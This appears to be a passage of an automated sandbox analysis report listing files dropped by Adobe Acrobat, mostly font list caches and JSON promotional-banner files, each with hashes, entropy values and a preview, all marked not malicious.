Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2104

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2104

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.321213636576316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJM3g98kUwPeUkwRe9:YvXKXTa/Y5YpW7bUGMbLUkee9
MD5:	4AD0974C33D72CD8E64D8C7542F142A9
SHA1:	0116B48AC7D2B38DB5BF40DA34782CC7BB0E46AB
SHA-256:	CCA849A6558396AF60781E58E994CA6ACD4D631C0622CA4ACA315097A5178F19
SHA-512:	B8002961B08F1AD9409E1DD214D3EB6B3D9D5ACC61C2759BDCEE8D4E534CC45916578421F6B9F483EB7A847651240DC6A23766EE6A50A1012A630D0905841802
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2587830915557605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfBoTfXpnrPeUkwRe9:YvXKXTa/Y5YpW7bUGWTfXcUkee9
MD5:	C7D4ABBE6AAFA327531506AD21C44A48
SHA1:	5E6908EF02A1D0DFFBFBD4ED4C0FC5B1F6A36926
SHA-256:	8DC6F4D5071812A6870C3F7727235BBF261EE5ADC41EF654A24064EC65D1EB82
SHA-512:	236BDC7377DA4FF902A008D145A130D7E2B335D60549151B1A4240F069AE54F2F66E574B940C7F7E53ACA804537C34DF9BAB8B4F9CEBA1AC155E6DC2A01174A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.237778126950837
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfBD2G6UpnrPeUkwRe9:YvXKXTa/Y5YpW7bUGR22cUkee9
MD5:	3ECAD28368399F8E61D04CFB87C11EA7
SHA1:	FBA91379CD5B127C4AC107E874F7CDAED7AEF415
SHA-256:	796938182784E28ED043B4CB008DEC7410CBD30A5330008C68BAAEA4715EFC95
SHA-512:	BCFE9883A4D44C4019575590ADEEE2909D2C66220E7B69CEF0902DF13289195A409748C25A4F6BF4C1FE5DBDDABA9355B4038615CF6160369E83E542651AE224
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.298627575642852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfPmwrPeUkwRe9:YvXKXTa/Y5YpW7bUGH56Ukee9
MD5:	49F914350D3FA1538CE09026985FE349
SHA1:	B3F6B4F691CA6BF9EB6FDCC05CE8D262E86CF0DE
SHA-256:	D86F1C4D7A320963F1E16DA70D9F54DCB95458272602C67D1217668358CE6050
SHA-512:	CC9436D76D40E4FB721086DF14C3ECD96E19D775728A84C9D408ADCAEA08E65797E962FB408063F1B43A71C01437B66062AB273C670223109F4C23D4B7DEA986
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690222549631487
Encrypted:	false
SSDEEP:	24:Yv6XTEXi1pLgE9cQx8LennAvzBvkn0RCmK8czOCCSg:Yv6v1hgy6SAFv5Ah8cv/g
MD5:	7E15D95897258CADCBD33BA38C9C3BB4
SHA1:	57FAA67F4311B79C471C39C1DB01A74B7B65BDEF
SHA-256:	B1073E14E03771BC94BAD61DB4D4EF23048EFB5CD00940B98892AB96BFBAADAE
SHA-512:	1317B46EA17503BD30036D15E6EDBB5E61DC9E8AE57AEE8CBA75665DE3B9C8368FA9540EBBB9FEC7964D3A5A053282E5BA2DD8DC9ADBDAE65F3643D6ED68DCC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.245625031224631
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJf8dPeUkwRe9:YvXKXTa/Y5YpW7bUGU8Ukee9
MD5:	7EB3B717404F5485874AA8E3FDF46A92
SHA1:	5C5E12CAF8676C5B085DD29C66B96EF062EF73BD
SHA-256:	A3A9B7C7E9A162456F17D4DA96048FACD891215B1BE26744E5A3AFE992438BBA
SHA-512:	D7016EEFDC31B842FDD30B95BC0A1DEE01664ABAA168859BD80EEA51CF0AA2C5D02BBE8DB5E1CCF77682C1E19B7360E6DB9CD3746FB2FDEF46971F0D246A8EB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.246848080200573
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfQ1rPeUkwRe9:YvXKXTa/Y5YpW7bUGY16Ukee9
MD5:	695BF270F74193E74358D63779BB5956
SHA1:	225DBF186EBC3B024FCE43189067C6B2BCD0E229
SHA-256:	753E76D3367CDF5EDA71D4E1AB972C75CBEB555B424A0C21C8012D202251A335
SHA-512:	547C26B991C837ACC376159C1BB22C6BB7D740EB9CA0DC034CAAD0E782BC4D0A708807678D73781530F068594694230452BAA5CBE24645612C16A06EFCA93DF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.266647222368245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfFldPeUkwRe9:YvXKXTa/Y5YpW7bUGz8Ukee9
MD5:	9308B7AF248B774A629F3808C3D2AEBF
SHA1:	B091EEFDC2C63E7AB5CF00F2851BE62A3F6DA5AB
SHA-256:	6F60AB25796FF44A34C80A46BA8502601EE95721179CD704BA287ACAD027292C
SHA-512:	394970AF9A8223012E01CF87B15A111B32C3FF58197A5F3CA4E4970541DB71FF59AA7E314B2980355724F346D54AB8FCC265F8A1A952F42D1685724231A0B848
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.273695371776708
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfzdPeUkwRe9:YvXKXTa/Y5YpW7bUGb8Ukee9
MD5:	B343AEEA04C79341F464D0590F953C64
SHA1:	82F760242022687B7093D9A0B4041473B514B552
SHA-256:	04FA0E34CC02E580C38E058D1F48F3C86C1BAAE44D4A1DEB10414A8C47617109
SHA-512:	9C7B7791D64E3AB28580CA992EDBAFB05FFFB9CDCB3D4E170CD463B1D88673489BAC2768A1E71A41A636A82C55B9564274B8CA32FBB5EDBD56514B4C435D9BCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.253097166736203
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfYdPeUkwRe9:YvXKXTa/Y5YpW7bUGg8Ukee9
MD5:	21917D7C0C0CA790C9B990340ADAF03F
SHA1:	8F4164C0A1F23EAF2F4F764B31F482D5D602A77A
SHA-256:	B5D392FB1213F96914914640FB9B5D9A37EA3CF6532D9F98E4B86F13DE48924F
SHA-512:	3186BE8AE3FBCCE955057B81C4E66B25DFEDF2A1F1B1723A48A8651788D1865608B0191E81F4FB34814B9F97D62D225E9E9A59D4AF4CCAFD3DB289DB0D5FC0C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.238620776379961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJf+dPeUkwRe9:YvXKXTa/Y5YpW7bUG28Ukee9
MD5:	2589198A8B56FBC2EDFFA10437E27B6B
SHA1:	7C89DD948D133BDD39C82F5ABAAF1DC27EADB99B
SHA-256:	88A6B2C6A3F69247CEFFDACE1B5DBC77725243CAD8E302A8FE8D57B37ADF8A52
SHA-512:	EE9265841A166345A4D15DCE73AB7ED9D19A95B8039CC023F3CAEC6A46F61BBFDFA6A1B0AC5D93F20E25FC24F59B5B5E604D85785FF75BA1923867CC1E2E97A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.23696662065243
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJfbPtdPeUkwRe9:YvXKXTa/Y5YpW7bUGDV8Ukee9
MD5:	B3DA4093A61566DE966CB869CFD106D5
SHA1:	127C9D8EE780F2E1988C249EC1B38E469210BE04
SHA-256:	313A27DBD6AC36C5EE18184DE37F9380A26B18A9FE314C8FCD7576AEA24E74CE
SHA-512:	58C9896282AC87ECB325C41E3E3C772C6EBA0D881D22CCB58344BCBCB7ED5BF9F8B93983AC99A0BB1015A2FF96FB6B64BABDECAB85149DA1F2B4003A874B3C9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.237676254070039
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTa/JWY+FIbRI6XVW7+0YyJREeoAvJf21rPeUkwRe9:YvXKXTa/Y5YpW7bUG+16Ukee9
MD5:	25F78F91DAFD9D0C932EA904A21A791B
SHA1:	8283748C82C77B7D19E33A660256917DE1293156
SHA-256:	917F08CFB6FA4E3F7FF4391E84EC31C99DBD5122642BAF1423D9E4D0E67E008F
SHA-512:	A5822F5927DFF8A05D3CB139985F9852831078434AAF32E565C487CED04987976F1809A38BACA5C7D0E05964BA87545F4F41DD27BBD362AE481317505B400115
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662487203971377
Encrypted:	false
SSDEEP:	24:Yv6XTEXitamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSg:Yv6vBBgkDMUJUAh8cvMg
MD5:	33126CCA9B6D5C77C1112FF81D52DB9F
SHA1:	D94736FEC0702FBBFEB40582E30C245C83E49127
SHA-256:	A1921EB94CD54E4101F4883CF5AA33A80F4E8D51CFA08141354FAB0A4E67D523
SHA-512:	4C74F7942D21B7E515BC9E67985929E1D025B84D48AE51D900749593B0288AE22FD51585F08C20BEA41559CC30AEB13BC894A74233BE0426587160B8A8F3292F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17171f3e-9128-4c23-b29b-34eaff3604d7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736744492444,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
